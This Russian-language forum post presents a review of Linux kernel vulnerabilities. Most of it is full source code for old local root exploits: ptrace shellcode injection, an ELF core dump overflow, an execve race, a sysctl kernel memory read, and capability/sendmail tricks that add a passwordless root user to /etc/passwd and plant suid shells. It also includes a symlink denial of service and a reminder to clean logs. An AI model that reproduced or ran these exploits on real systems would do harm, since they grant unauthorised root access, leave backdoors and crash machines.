Обзор уязвимостей дистрибутивов Linux

Solide Snake

HDD-drive
Пользователь
Регистрация
25.01.2008
Сообщения
21
Реакции
1
[ Обзор уязвимостей Linux ]

Сайт разработчика: www.linux.com

Exploits/Shellcode

Linux Kernel 2.2 (TCP/IP Weakness) Exploit
Linux Kernel 2.2.x - 2.4.x ptrace/kmod Local Root Exploit
Linux Kernel < 2.4.20 Module Loader Local Root Exploit
Linux Kernel <= 2.4.20 decode_fh Denial of Service Exploit
Linux Kernel 2.4.22 "do_brk()" local Root Exploit (PoC)
Linux Kernel <= 2.4.22 (do_brk) Local Root Exploit (working)
Linux Kernel "do_mremap" Local Proof of Concept
Linux Kernel "do_mremap" Local Proof of Concept II
Linux Kernel 2.4.x mremap() bound checking Root Exploit
Linux Kernel "mremap()"#2 Local Proof-of-concept
Linux Kernel 2.x mremap missing do_munmap Exploit
Linux Kernel <= 2.6.3 (setsockopt) Local Denial of Service Exploit
Linux Kernel 2.4.x-2.6.x Assembler Inline Function Local DoS Exploit
Linux Kernel File Offset Pointer Handling Memory Disclosure Exploit
Linux Kernel 2.6.x Firewall Logging Rules Remote DoS Exploit
Linux Kernel (<= 2.4.27 , 2.6.8) binfmt_elf Executable File Read Exploit
Linux Kernel <= 2.4.28 and <= 2.6.9 scm_send local DoS Exploit
Linux Kernel (<= 2.6.9, 2.4.22-28) (igmp.c) Local Denial of Service Exploit
Linux Kernel <= 2.6.9, <= 2.4.28 vc_resize int Local Overflow Exploit
Linux Kernel <= 2.6.9, <= 2.4.28 Memory Leak Local DoS
Linux Kernel <= 2.6.9, <= 2.4.28 ip_options_get Local Overflow
Linux Kernel 2.6.x chown() Group Ownership Alteration Exploit
Linux Kernel <= 2.4.29-rc2 uselib() Privilege Elevation
Linux Kernel 2.4 uselib() Privilege Elevation Exploit
Linux Kernel 2.4.x / 2.6.x uselib() Local Privilege Escalation Exploit
Linux Kernel <= 2.6.10 Local Denial of Service Exploit
Linux Kernel PPC64/IA64 (AIO) Local Denial of Service Exploit
Linux Kernel <= 2.6.12-rc4 (ioctl_by_bdev) Local Denial of Service Exploit
Linux Kernel 2.4/2.6 bluez Local Root Privilege Escalation Exploit (update)
Linux Kernel <= 2.6.11 (CPL 0) Local Root Exploit (k-rad3.c)
Linux Kernel 2.6.x sys_timer_create() Local Denial of Service Exploit
Linux Kernel < 2.6.16.18 (Netfilter NAT SNMP Module) Remote DoS Exploit
Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit
Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (2)
Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (3)
Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (4)
Linux Kernel <= 2.6.17.4 (proc) Local Root Exploit
Linux Kernel 2.6.13 <= 2.6.17.4 prctl() Local Root Exploit (logrotate)
Linux Kernel <= 2.6.20 with DCCP Support Memory Disclosure Exploit
Linux Kernel <= 2.6.20 with DCCP Support Memory Disclosure Exploit v2
Linux Kernel < 2.6.20.2 IPV6_Getsockopt_Sticky Memory Leak PoC
Linux Kernel 2.4/2.6 x86-64 System Call Emulation Exploit
Linux Kernel < 2.6.11.5 BLUETOOTH Stack Local Root Exploit
Linux Kernel <=2.6.21.1 IPv6 Jumbo Bug Remote DoS Exploit


Повышение привилегий через coredump в ядре Linux (privilege escalation)

Некорректный разбор ELF формата приводит к возможности выполнения кода.

Код:
#!/bin/bash
#
# elfcd.sh
# warning: This code will crash your machine
#
cat <<__EOF__>elfcd1.c
/*
 *      Linux binfmt_elf core dump buffer overflow
 *
 *      Copyright (c) 2005  iSEC Security Research. All Rights Reserved.
 *
 *      THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 *      AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 *      WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 */
//      phase 1
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>

#include <sys/time.h>
#include <sys/resource.h>

#include <asm/page.h>


static char *env[10], *argv[4];
static char page[PAGE_SIZE];
static char buf[PAGE_SIZE];


void fatal(const char *msg)
{
        if(!errno) {
                fprintf(stderr, "\nFATAL: %s\n", msg);
        }
        else {
                printf("\n");
                perror(msg);
        }
        fflush(stdout); fflush(stderr);
        _exit(129);
}


int main(int ac, char **av)
{
int esp, i, r;
struct rlimit rl;

        __asm__("movl %%esp, %0" : : "m"(esp));
        printf("\n[+] %s argv_start=%p argv_end=%p  ESP: 0x%x", av[0], av[0], av[ac-1]+strlen(av[ac-1]), esp);
        rl.rlim_cur = RLIM_INFINITY;
        rl.rlim_max = RLIM_INFINITY;
        r = setrlimit(RLIMIT_CORE, &rl);
        if(r) fatal("setrlimit");

        memset(env, 0, sizeof(env) );
        memset(argv, 0, sizeof(argv) );
        memset(page, 'A', sizeof(page) );
        page[PAGE_SIZE-1]=0;

//      move up env & exec phase 2
        if(!strcmp(av[0], "AAAA")) {
                printf("\n[+] phase 2, <RET> to crash "); fflush(stdout);
                argv[0] = "elfcd2";
                argv[1] = page;

//      term 0 counts!
                memset(buf, 0, sizeof(buf) );
                for(i=0; i<789 + 4; i++)
                        buf[i] = 'C';
                argv[2] = buf;
                execve(argv[0], argv, env);
                _exit(127);
        }

//      move down env & reexec
        for(i=0; i<9; i++)
                env[i] = page;

        argv[0] = "AAAA";
        printf("\n[+] phase 1"); fflush(stdout);
        execve(av[0], argv, env);

return 0;
}
__EOF__
cat <<__EOF__>elfcd2.c
//      phase 2
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <syscall.h>

#include <sys/syscall.h>

#include <asm/page.h>

#define __NR_sys_read           __NR_read
#define __NR_sys_kill           __NR_kill
#define __NR_sys_getpid         __NR_getpid


char stack[4096 * 6];
static int errno;


inline _syscall3(int, sys_read, int, a, void*, b, int, l);
inline _syscall2(int, sys_kill, int, c, int, a);
inline _syscall0(int, sys_getpid);


//      yeah, lets do it
void killme()
{
char c='a';
int pid;

        pid = sys_getpid();
        for(;;) {
                sys_read(0, &c, 1);
                sys_kill(pid, 11);
        }
}


//      safe stack stub
__asm__(
        "               nop                             \n"
        "_start:        movl    \$0xbfff6ffc, %esp      \n"
        "               jmp     killme                  \n"
        ".global        _start                          \n"
);
__EOF__
cat <<__EOF__>elfcd.ld
OUTPUT_FORMAT("elf32-i386", "elf32-i386",
              "elf32-i386")
OUTPUT_ARCH(i386)
ENTRY(_start)
SEARCH_DIR(/lib); SEARCH_DIR(/usr/lib); SEARCH_DIR(/usr/local/lib); SEARCH_DIR(/usr/i486-suse-linux/lib);

MEMORY
{
  ram (rwxali) : ORIGIN = 0xbfff0000, LENGTH = 0x8000
  rom (x) : ORIGIN = 0xbfff8000, LENGTH = 0x10000
}

PHDRS
{
  headers PT_PHDR PHDRS;
  text PT_LOAD FILEHDR PHDRS;
  fuckme PT_LOAD AT (0xbfff8000) FLAGS (0x00);
}

SECTIONS
{

  .dupa 0xbfff8000 : AT (0xbfff8000) { LONG(0xdeadbeef); _bstart = .; . += 0x7000; } >rom :fuckme

  . = 0xbfff0000 + SIZEOF_HEADERS;
  .text : { *(.text) } >ram :text
  .data : { *(.data) } >ram :text
  .bss       :
  {
   *(.dynbss)
   *(.bss)
   *(.bss.*)
   *(.gnu.linkonce.b.*)
   *(COMMON)
   . = ALIGN(32 / 8);
  } >ram :text

}
__EOF__

# compile & run
echo -n "[+] Compiling..."
gcc -O2 -Wall elfcd1.c -o elfcd1
gcc -O2 -nostdlib elfcd2.c -o elfcd2 -Xlinker -T elfcd.ld -static
./elfcd1


Повышение прав через mremap в linux (privilege escalation)

При определенных условиях можно отобразить страницу памяти нулевого размера, что приводит к повреждению памяти.

Linux kernel do_mremap() proof-of-concept exploit code
Linux kernel mremap() bound checking bug exploit
Proof-of-concept exploit code for do_mremap() #2
mremap missing do_munmap return check kernel exploit


Многочисленные проблемы в linux kernel (multiple bugs)

Ставший привычным набор: проблемы с ptrace, mmap и Ethrenet-драйверами.

Код:
/*
 * Linux kernel ptrace/kmod local root exploit
 *
 * 
 *
 * Should work under all current 2.2.x and 2.4.x kernels.
 * 
 * I discovered this stupid bug independently on January 25, 2003, that
 * is (almost) two month before it was fixed and published by Red Hat
 * and others.
 * 
 * Wojciech Purczynski <cliph@isec.pl>
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
 * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
 * 
 * (c) 2003 Copyright by iSEC Security Research
 */

#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>

char cliphcode[] =
 "\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
 "\x00\x5b\x31\xc9\x89\xca\xcd\x80"
 "\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
 "\x00\x00\xcd\x80\x89\xd0\x89\xd3"
 "\x40\xcd\x80\xe8\xdc\xff\xff\xff";

#define CODE_SIZE (sizeof(cliphcode) - 1)

pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;

void fatal(char * msg)
{
 perror(msg);
 kill(parent, SIGKILL);
 kill(child, SIGKILL);
 kill(victim, SIGKILL);
}

void putcode(unsigned long * dst)
{
 char buf[MAXPATHLEN + CODE_SIZE];
 unsigned long * src;
 int i, len;

 memcpy(buf, cliphcode, CODE_SIZE);
 len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
 if (len == -1)
  fatal("[-] Unable to read /proc/self/exe");

 len += CODE_SIZE + 1;
 buf[len] = '\0';
 
 src = (unsigned long*) buf;
 for (i = 0; i < len; i += 4)
  if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
   fatal("[-] Unable to write shellcode");
}

void sigchld(int signo)
{
 struct user_regs_struct regs;

 if (gotchild++ == 0)
  return;
 
 fprintf(stderr, "[+] Signal caught\n");

 if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1)
  fatal("[-] Unable to read registers");
 
 fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
 
 putcode((unsigned long *)regs.eip);

 fprintf(stderr, "[+] Now wait for suid shell...\n");

 if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
  fatal("[-] Unable to detach from victim");

 exit(0);
}

void sigalrm(int signo)
{
 errno = ECANCELED;
 fatal("[-] Fatal error");
}

void do_child(void)
{
 int err;

 child = getpid();
 victim = child + 1;

 signal(SIGCHLD, sigchld);

 do
  err = ptrace(PTRACE_ATTACH, victim, 0, 0);
 while (err == -1 && errno == ESRCH);

 if (err == -1)
  fatal("[-] Unable to attach");

 fprintf(stderr, "[+] Attached to %d\n", victim);
 while (!gotchild);
 if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
  fatal("[-] Unable to setup syscall trace");
 fprintf(stderr, "[+] Waiting for signal\n");

 for(;;);
}

void do_parent(char * progname)
{
 struct stat st;
 int err;
 errno = 0;
 socket(AF_SECURITY, SOCK_STREAM, 1);
 do {
  err = stat(progname, &st);
 } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
 
 if (err == -1)
  fatal("[-] Unable to stat myself");

 alarm(0);
 system(progname);
}

void prepare(void)
{
 if (geteuid() == 0) {
  initgroups("root", 0);
  setgid(0);
  setuid(0);
  execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
  fatal("[-] Unable to spawn shell");
 }
}

int main(int argc, char ** argv)
{
 prepare();
 signal(SIGALRM, sigalrm);
 alarm(10);
 
 parent = getpid();
 child = fork();
 victim = child + 1;
 
 if (child == -1)
  fatal("[-] Unable to fork");

 if (child == 0)
  do_child();
 else
  do_parent(argv[0]);

 return 0;
}
Добавлено в [time]1201340775[/time]
Очередные проблемы с Linux kernel (privelege escalation, symlink DoS)

Затронутые продукты:
LINUX : kernel 2.2
LINUX : kernel 2.4

Можно исопльзовать два процесса, один из которых использует ptrace для отладки второго. Если первый процесс вызывает какое-либо suid-приложение, которое в конечном итоге сбрасывает привилегии и выполняет команду пользователя, а второе приложение вызывает suid-приложение (в момент вызова оба приложения работают с привилегиями root) то можно получить управление вторым suid-приложением. Кроме того, глубокая вложенность symlink приводит к DoS.

linux ptrace local root - insert_shellcode

Код:
/* by Nergal */
#include <stdio.h>
#include <sys/ptrace.h>
struct user_regs_struct {
        long ebx, ecx, edx, esi, edi, ebp, eax;
        unsigned short ds, __ds, es, __es;
        unsigned short fs, __fs, gs, __gs;
        long orig_eax, eip;
        unsigned short cs, __cs;
        long eflags, esp;
        unsigned short ss, __ss;
};
/* spiritual black dimension */

char hellcode[] =
    "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

#define ADDR 0x00125000
main(int argc, char **argv)
{
        int status;
        int i, wpid, pid = atoi(argv[1]);
        struct user_regs_struct regs;
        if (ptrace(PTRACE_GETREGS, pid, 0, &regs)) {
                perror("PTRACE_GETREGS");
                exit(0);
        }
        regs.eip = ADDR;
        if (ptrace(PTRACE_SETREGS, pid, 0, &regs))
                exit(0);
        for (i = 0; i <= strlen(hellcode) + 5; i += 4)
                ptrace(PTRACE_POKETEXT, pid, ADDR + i,
                    *(unsigned int *) (hellcode + i));
        //  kill (pid, SIGSTOP);
        if (ptrace(PTRACE_DETACH, pid, 0, 0))
                exit(0);
        close(2);
        do {
                wpid = waitpid(-1, &status, 0);
                if (wpid == -1) {
                        perror("waitpid");
                        exit(1);
                }
        } while (wpid != pid);
}

linux ptrace local root

Код:
/* by Nergal */
#include <stdio.h>
#include <sys/ptrace.h>
#include <fcntl.h>
#include <sys/ioctl.h>
void ex_passwd(int fd)
{
        char z;
        if (read(fd, &z, 1) <= 0) {
                perror("read:");
                exit(1);
        }
        execl("/usr/bin/passwd", "passwd", 0);
        perror("execl");
        exit(1);
}
void insert(int pid)
{
        char buf[100];
        char *ptr = buf;
        sprintf(buf, "exec ./insert_shellcode %i\n", pid);
        while (*ptr && !ioctl(0, TIOCSTI, ptr++));
}


main(int argc, char **argv)
{
        int res, fifo;
        int status;
        int pid, n;
        int pipa[2];
        char buf[1024];
        pipe(pipa);
        switch (pid = fork()) {
        case -1:
                perror("fork");
                exit(1);
        case 0:
                close(pipa[1]);
                ex_passwd(pipa[0]);
        default:;
        }


        res = ptrace(PTRACE_ATTACH, pid, 0, 0);
        if (res) {
                perror("attach");
                exit(1);
        }
        res = waitpid(-1, &status, 0);
        if (res == -1) {
                perror("waitpid");
                exit(1);
        }
        res = ptrace(PTRACE_CONT, pid, 0, 0);
        if (res) {
                perror("cont");
                exit(1);
        }
        fprintf(stderr, "attached\n");
        switch (fork()) {
        case -1:
                perror("fork");
                exit(1);
        case 0:
                close(pipa[1]);
                sleep(1);
                insert(pid);
                do {
                        n = read(pipa[0], buf, sizeof(buf));
                } while (n > 0);
                if (n < 0)
                        perror("read");
                exit(0);
        default:;
        }
        close(pipa[0]);

        dup2(pipa[1], 2);
        close(pipa[1]);
        /* Decrystallizing reason */
        setenv("LD_DEBUG", "libs", 1);
        /* With strength I burn */ 
        execl("/usr/bin/newgrp", "newgrp", 0);
}

linux symlink DoS

Код:
#!/bin/sh
# by Nergal
mklink()
{
IND=$1
NXT=$(($IND+1))
EL=l$NXT/../
P=""
I=0
while [ $I -lt $ELNUM ]; do
        P=$P"$EL"
        I=$(($I+1))
done
ln -s "$P"l$2 l$IND
}

#main program

if [ $# != 1 ]; then
        echo A numerical argument is required.
        exit 0
fi


ELNUM=$1

mklink 4
mklink 3
mklink 2
mklink 1
mklink 0 /../../../../../../../etc/services
mkdir l5
mkdir l


Проблемы в linux kernel (sysctl и ptrace)

Затронутые продукты: LINUX : kernel 2.2

Отрицательное смещение в вызове sysctl позволеят обращаться к памяти ядра, кроме того через ptrace можно изменить выполнение setuid процесса. На intel-архитектурах кроме того возможет DoS.

Linux sysctl negative argument exploit

Код:
/* Excuse the lack of error checking */
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>
#include <linux/unistd.h>
#include <linux/sysctl.h>
_syscall1(int, _sysctl, struct __sysctl_args *, args);

#define BUFLEN 1000000

int
main(int argc, const char* argv[])
{
  struct __sysctl_args args_of_great_doom;

  int names[2] = { CTL_KERN, KERN_NODENAME };
  /* Minus 2 billion - somewhere close to biggest negative int */
  int dodgy_len = -2000000000;
  int fd;
  char* p_buf;

  fd = open("/dev/zero", O_RDWR);
  p_buf = mmap((void*)8192, BUFLEN, PROT_READ | PROT_WRITE,
               MAP_FIXED | MAP_PRIVATE, fd, 0);

  memset(p_buf, '\0', BUFLEN);
  fd = open("before", O_CREAT | O_TRUNC | O_WRONLY, 0777);
  write(fd, p_buf, BUFLEN);

  args_of_great_doom.name = names;
  args_of_great_doom.nlen = 2;
  args_of_great_doom.oldval = p_buf;
  args_of_great_doom.oldlenp = &dodgy_len;
  args_of_great_doom.newval = 0;
  args_of_great_doom.newlen = 0;

  _sysctl(&args_of_great_doom);

  fd = open("after", O_CREAT | O_TRUNC | O_WRONLY, 0777);
  write(fd, p_buf, BUFLEN);
}

exploit for execve/ptrace race condition in Linux kernel up to 2.2.18

Код:
/*
 * epcs2 (improved by lst [liquid@dqc.org])
 * ~~~~~~~
 * exploit for execve/ptrace race condition in Linux kernel up to 2.2.18
 *
 * originally by:
 * (c) 2001 Wojciech Purczynski / cliph / <wp@elzabsoft.pl>
 *
 * improved by:
 * lst [liquid@dqc.org]
 *
 * This sploit does _not_ use brute force. It does not need that.
 * It does only one attemt to sploit the race condition in execve. 
 * Parent process waits for a context-switch that occur after 
 * child task sleep in execve.
 *
 * It should work even on openwall-patched kernels (I haven't tested it).
 *
 * Compile it:
 *	cc epcs.c -o epcs
 * Usage:
 *	./epcs [victim]
 *
 * It gives instant root shell with any of a suid binaries.
 *
 * If it does not work, try use some methods to ensure that execve
 * would sleep while loading binary file into memory,
 *
 *  i.e.: cat /usr/lib/* >/dev/null 2>&1
 *
 * Tested on RH 7.0 and RH 6.2 / 2.2.14 / 2.2.18 / 2.2.18ow4
 * This exploit does not work on 2.4.x because kernel won't set suid 
 * privileges if user ptraces a binary.
 * But it is still exploitable on these kernels.
 *
 * Thanks to Bulba (he made me to take a look at this bug;) )
 * Greetings to SigSegv team.
 *
 * -- d00t
 * improved by lst [liquid@dqc.org]
 * props to kevin for most of the work
 *
 * now works on stack non-exec systems with some neat trickery for the automated
 * method, ie. no need to find the bss segment via objdump
 *
 * particularly it now rewrites the code instruction sets in the 
 * dynamic linker _start segment and continues execution from there.
 * 
 * an aside, due to the fact that the code self-modified, it wouldnt work
 * quite correctly on a stack non-exec system without playing directly with
 * the bss segment (ie no regs.eip = regs.esp change).  this is much more 
 * automated.  however, do note that the previous version did not trigger stack 
 * non-exec warnings due to how it was operating.  note that the regs.eip = regs.esp 
 * method will break on stack non-exec systems.
 *
 * as always.. enjoy.
 *
 */

#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <signal.h>
#include <linux/user.h>
#include <sys/wait.h>
#include <limits.h>
#include <errno.h>
#include <stdlib.h>

#define CS_SIGNAL SIGUSR1
#define VICTIM "/usr/bin/passwd"
#define SHELL "/bin/sh"

/*
 * modified simple shell code with some trickery (hand tweaks)
 */
char shellcode[]=
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"  /* setuid(0) */
	"\x31\xc0\xb0\x2e\xcd\x80"
	"\x31\xc0\x50\xeb\x17\x8b\x1c\x24"  /* execve(SHELL) */
	"\x90\x90\x90\x89\xe1\x8d\x54\x24"  /* lets be tricky */
	"\x04\xb0\x0b\xcd\x80\x31\xc0\x89"
	"\xc3\x40\xcd\x80\xe8\xe4\xff\xff"
	"\xff" SHELL "\x00\x00\x00";  	/* pad me */

volatile int cs_detector=0;

void cs_sig_handler(int sig)
{
	cs_detector=1;
}

void do_victim(char * filename)
{
	while (!cs_detector);
	kill(getppid(), CS_SIGNAL);
	execl(filename, filename, NULL);
	perror("execl");
	exit(-1);
}

int check_execve(pid_t victim, char * filename)
{
	char path[PATH_MAX+1];
	char link[PATH_MAX+1];
	int res;
	
	snprintf(path, sizeof(path), "/proc/%i/exe", (int)victim);
	if (readlink(path, link, sizeof(link)-1)<0) {
  perror("readlink");
  return -1;
	}
	
	link[sizeof(link)-1]='\0';
	res=!strcmp(link, filename);
	if (res) fprintf(stderr, "child slept outside of execve\n");
	return res;
}

int main(int argc, char * argv[])
{
	char * filename=VICTIM;
	pid_t victim;
	int error, i;
	struct user_regs_struct regs;

	/* take our command args if you wanna play with other progs */
	if (argc>1) filename=argv[1];

	signal(CS_SIGNAL, cs_sig_handler);

	victim=fork();
	if (victim<0) {
  perror("fork: victim");
  exit(-1);
	}
	if (victim==0) do_victim(filename);

	kill(victim, CS_SIGNAL);
	while (!cs_detector);
	
	if (ptrace(PTRACE_ATTACH, victim)) {
  perror("ptrace: PTRACE_ATTACH");
  goto exit;
	}
	
	if (check_execve(victim, filename))
  goto exit;

	(void)waitpid(victim, NULL, WUNTRACED);
	if (ptrace(PTRACE_CONT, victim, 0, 0)) {
  perror("ptrace: PTRACE_CONT");
  goto exit;
	}

	(void)waitpid(victim, NULL, WUNTRACED);
	
	if (ptrace(PTRACE_GETREGS, victim, 0, &regs)) {
  perror("ptrace: PTRACE_GETREGS");
  goto exit;
	}

	/* make sure that last null is in there */
	for (i=0; i<=strlen(shellcode); i+=4) {
  if (ptrace(PTRACE_POKETEXT, victim, regs.eip+i,
          *(int*)(shellcode+i))) {
  	perror("ptrace: PTRACE_POKETEXT");
  	goto exit;
  }
	}

	if (ptrace(PTRACE_SETREGS, victim, 0, &regs)) {
  perror("ptrace: PTRACE_SETREGS");
  goto exit;
	}

	fprintf(stderr, "bug exploited successfully.\nenjoy!\n");
	
	if (ptrace(PTRACE_DETACH, victim, 0, 0)) {
  perror("ptrace: PTRACE_DETACH");
  goto exit;
	}

	(void)waitpid(victim, NULL, 0);
	return 0;
	
exit:
	fprintf(stderr, "d0h! error!\n");
	kill(victim, SIGKILL);
	return -1;
}


Серьезная ошибка в ядре Linux

Недокументированный вызов setcap() из чернового стандарта POSIX позволяет установить некоторые ограничения на процесс, в т.ч. CAP_SETUID, которая позволяет блокировать вызов setuid(). При этом эти ограничения могут быть унаследованы дочерними приложениями, что позволяет, установив подобное ограничение вызвать suid root -приложение, которое не сможет освободиться от своих привилегий. При этому вызов setuid() не будет срабатывать, хотя не будет возвращать ошибку.

Код:
--- add.c.orig Thu Jun 8 11:32:33 2000
+++ add.c Thu Jun 8 11:21:15 2000
@@ -1,17 +1,24 @@
#include <fcntl.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <unistd.h>

int main (void) {
int fd;
char string[40];
+ struct stat buf;

seteuid(0);
fd = open("/etc/passwd", O_APPEND|O_WRONLY);
strcpy(string, "yomama:x:0:0::/root:/bin/sh\n");
write(fd, string, strlen(string));
close(fd);
+ stat("/etc/shadow", &buf);
+ chmod("/etc/shadow", S_IRUSR|S_IWUSR);
fd = open("/etc/shadow", O_APPEND|O_WRONLY);
- strcpy(string, "yomama::11029:0:99999:7:::");
+ strcpy(string, "yomama::11029:0:99999:7:::\n");
write(fd, string, strlen(string));
close(fd);
-
+ chmod("/etc/shadow", buf.st_mode);
}

linux-cap-exp

Код:
Hello all,

Attached is a file with 2 sources, ex.c and add.c

compile these 2 and create a file "mail":

From: yomama@foobar.com
To: localuser@localdomain.com
Subject: foo
bar
.

then create a .forward with:
|/path/to/add

then just do: ./ex < mail

this should add a user yomama with uid/gid = 0 and without a password
set
a simple su - yomama should give you root.

This exploit was written by me in a hurry, I hope there are no mistakes

Greets

Florian Heinz
--------------C5AA82A7D9E47C75A576FD13
Content-Type: text/plain; charset=us-ascii;
 name="exploit.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="exploit.c"


-- snip -- ex.c --
  
#include <linux/capability.h>

int main (void) {
   cap_user_header_t header;
   cap_user_data_t data;
   
   header = malloc(8);
   data = malloc(12);
   
   header->pid = 0;
   header->version = _LINUX_CAPABILITY_VERSION;
   
   data->inheritable = data->effective = data->permitted = 0;
   capset(header, data);

   execlp("/usr/sbin/sendmail", "sendmail", "-t", NULL);
}

-- snap -- ex.c --

-- snip -- add.c --

#include <fcntl.h>

int main (void) {
   int fd;
   char string[40];
   
   seteuid(0);
   fd = open("/etc/passwd", O_APPEND|O_WRONLY);
   strcpy(string, "yomama:x:0:0::/root:/bin/sh\n");
   write(fd, string, strlen(string));
   close(fd);
   fd = open("/etc/shadow", O_APPEND|O_WRONLY);
   strcpy(string, "yomama::11029:0:99999:7:::");
   write(fd, string, strlen(string));
   close(fd);
   
}

-- snap -- add.c --

cap-procmail-sendmail

Код:
#!/bin/sh

echo "+-----------------------------------------------------------+"
echo "|      Linux kernel 2.2.X (X<=15) & sendmail <= 8.10.1      |"
echo "|                    local root exploit                     |"
echo "|                                                           |"
echo "|   Bugs found and exploit written by Wojciech Purczynski   |"
echo "|      wp@elzabsoft.pl   cliph/ircnet   Vooyec/dalnet       |"
echo "+-----------------------------------------------------------+"

TMPDIR=/tmp/foo
SUIDSHELL=/tmp/sush
SHELL=/bin/tcsh

umask 022
echo "Creating temporary directory"
mkdir -p $TMPDIR
cd $TMPDIR

echo "Creating anti-noexec library (capdrop.c)"
cat <<_FOE_ > capdrop.c
#define __KERNEL__
#include <linux/capability.h>
#undef __KERNEL__
#include <linux/unistd.h>
_syscall2(int, capset, cap_user_header_t, header, const cap_user_data_t, data)
extern int capset(cap_user_header_t header, cap_user_data_t data);
void unsetenv(const char*);
void _init(void) {
        struct __user_cap_header_struct caph={_LINUX_CAPABILITY_VERSION, 0};
        struct __user_cap_data_struct capd={0, 0, 0xfffffe7f};
        unsetenv("LD_PRELOAD");
        capset(&caph, &capd); 
        system("echo|/usr/sbin/sendmail -C$TMPDIR/sm.cf $USER");
}
_FOE_
echo "Compiling anti-noexec library (capdrop.so)"
cc capdrop.c -c -o capdrop.o
ld -shared capdrop.o -o capdrop.so

echo "Creating suid shell (sush.c)"
cat <<_FOE_ > sush.c
#include <unistd.h>
int main() { setuid(0); setgid(0); execl("/bin/sh", "sh", NULL); }
_FOE_

echo "Compiling suid shell (sush.c)"
cc sush.c -o $TMPDIR/sush

echo "Creating shell script"
cat <<_FOE_ >script
mv $TMPDIR/sush $SUIDSHELL
chown root.root $SUIDSHELL
chmod 4111 $SUIDSHELL
exit 0
_FOE_

echo "Creating own sm.cf"
cat <<_FOE_ >$TMPDIR/sm.cf
O QueueDirectory=$TMPDIR
O ForwardPath=/no_forward_file
S0
R\$*    \$#local \$: \$1
Mlocal, P=$SHELL, F=lsDFMAw5:/|@qSPfhn9, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL,
        T=DNS/RFC822/X-Unix, A=$SHELL $TMPDIR/script
_FOE_

echo "Dropping CAP_SETUID and calling sendmail"
export LD_PRELOAD=$TMPDIR/capdrop.so
/bin/true
unset LD_PRELOAD

echo "Waiting for suid shell ($SUIDSHELL)"
while [ ! -f $SUIDSHELL ]; do sleep 1; done

echo "Removing everything"
cd ..
rm -fr $TMPDIR

echo "Suid shell at $SUIDSHELL"
$SUIDSHELL

#!/bin/sh

echo "+-----------------------------------------------------+"
echo "|   Sendmail & procmail & kernel local root exploit   |"
echo "|                                                     |"
echo "|Bugs found and exploit written by Wojciech Purczynski|"
echo "|    wp@elzabsoft.pl   cliph/ircnet  Vooyec/dalnet    |"
echo "+-----------------------------------------------------+"

echo Creating cap.c

cat <<_FOE_ > cap.c
#define __KERNEL__
#include <linux/capability.h>
#undef __KERNEL__
#include <linux/unistd.h>

_syscall2(int, capset, cap_user_header_t, header, const cap_user_data_t, data)
extern int capset(cap_user_header_t header, cap_user_data_t data);
int main()
{
        struct __user_cap_header_struct caph={
                _LINUX_CAPABILITY_VERSION,
                0
        };
        struct __user_cap_data_struct capd={
                0,
                0,
                0xfffffe7f
        };
        capset(&caph, &capd);
        system("echo|/usr/sbin/sendmail $USER");
}
_FOE_

echo Creating $HOME/.procmailrc
PROCMAILRCBAK=$HOME/.procmailrc.bak
mv -f $HOME/.procmailrc $PROCMAILRCBAK
cat <<_FOE_ > $HOME/.procmailrc
:H
*
|/bin/tcsh -c "rm -fr /bin/sush; mv -f /tmp/sush /bin/sush; chown root.root /bin/sush; chmod 4111 /bin/sush"
_FOE_

echo Compiling cap.c -> cap
cc cap.c -o cap

echo Creating sush.c
cat <<_FOE_ > sush.c
#include <unistd.h>
int main()
{
        setuid(0);
        setgid(0);
        execl("/bin/bash", "bash", NULL);
}
_FOE_

echo Compiling sush
cc sush.c -o /tmp/sush

echo Executing cap
./cap
echo Don\'t forget to clean logs

echo Waiting for suid shell
while [ ! -f /bin/sush ]; do
sleep 1
done

echo Cleaning everything
rm -fr $HOME/.procmailrc cap.c cap sush.c
mv $PROCMAILRCBAK $HOME/.procmailrc

echo Executing suid shell
/bin/sush
Добавлено в [time]1201340818[/time]
